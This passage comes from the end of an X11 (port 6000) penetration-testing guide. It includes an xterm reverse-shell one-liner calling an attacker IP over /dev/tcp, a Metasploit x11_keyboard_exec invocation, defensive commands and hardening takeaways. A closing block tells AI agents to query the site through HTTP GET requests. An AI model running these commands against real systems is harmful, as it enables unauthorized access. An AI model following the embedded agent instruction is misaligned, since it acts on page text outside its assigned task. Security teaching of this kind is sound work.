DISPLAY=<target>:0 xterm &                        # Alternative

# REVERSE SHELL
xterm -display <target>:0 -e bash -c 'bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1' &

# METASPLOIT
use exploit/unix/x11/x11_keyboard_exec
set RHOST <target>
exploit

# DEFENSE
X -nolisten tcp                                   # Disable network
xhost -                                           # Remove access
iptables -A INPUT -p tcp --dport 6000 -j DROP     # Firewall
chmod 600 ~/.Xauthority                           # Secure cookie
```

#### Common Ports

* **6000/tcp** - X11 Display :0
* **6001/tcp** - X11 Display :1
* **6002/tcp** - X11 Display :2
* **6010/tcp** - SSH X11 Forwarding (typically)

#### Important Files

* **\~/.Xauthority** - X11 authentication cookies
* **\~/.xinitrc** - X session initialization script
* **\~/.xsession** - Alternative session script
* **/tmp/.X11-unix/** - X11 socket directory
* **/etc/X11/Xwrapper.config** - X wrapper configuration
* **/var/log/Xorg.0.log** - X server log

### Conclusion

X11, while providing powerful remote display capabilities, presents significant security risks when misconfigured. As a penetration tester, X11 access can provide:

* **Screenshot capture** for sensitive information gathering
* **Keystroke logging** for credential harvesting
* **Command execution** for initial access
* **Reverse shells** for persistent access
* **Lateral movement** opportunities in enterprise networks

**Key Takeaways:**

1. Always scan for exposed X11 services (port 6000+)
2. Test for anonymous access before attempting auth bypass
3. Screenshot capture is often the quickest win
4. Keylogging can reveal passwords and sensitive data
5. X11 can provide direct shell access on the target's display
6. Proper defense requires disabling network listening (-nolisten tcp)
7. Migrate to Wayland for better security
8. Monitor for unauthorized X11 connections
9. Restrict .Xauthority file permissions
10. Use SSH X11 forwarding instead of direct access when possible

Remember that X11 exploitation should only be performed during authorized security assessments. Unauthorized access to systems is illegal and unethical.

### Additional Resources

* [X.Org Documentation](https://www.x.org/wiki/)
* [X11 Protocol Specification](https://www.x.org/releases/current/doc/xproto/x11protocol.html)
* [HackTricks X11](https://book.hacktricks.wiki/en/network-services-pentesting/6000-pentesting-x11.html)
* [OWASP Testing Guide - X11](https://owasp.org/www-community/attacks/X11_attacks)
* [Wayland Security](https://wayland.freedesktop.org/security.html)

{% hint style="success" %}
Learn & practice [**For the Bug Bounty**](https://shop.verylazytech.com/)

<details>

<summary>Support VeryLazyTech 🎉</summary>

* Become VeryLazyTech [**member**](https://shop.verylazytech.com/)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses.  📚

</details>
{% endhint %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.verylazytech.com/x11-port-6000.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
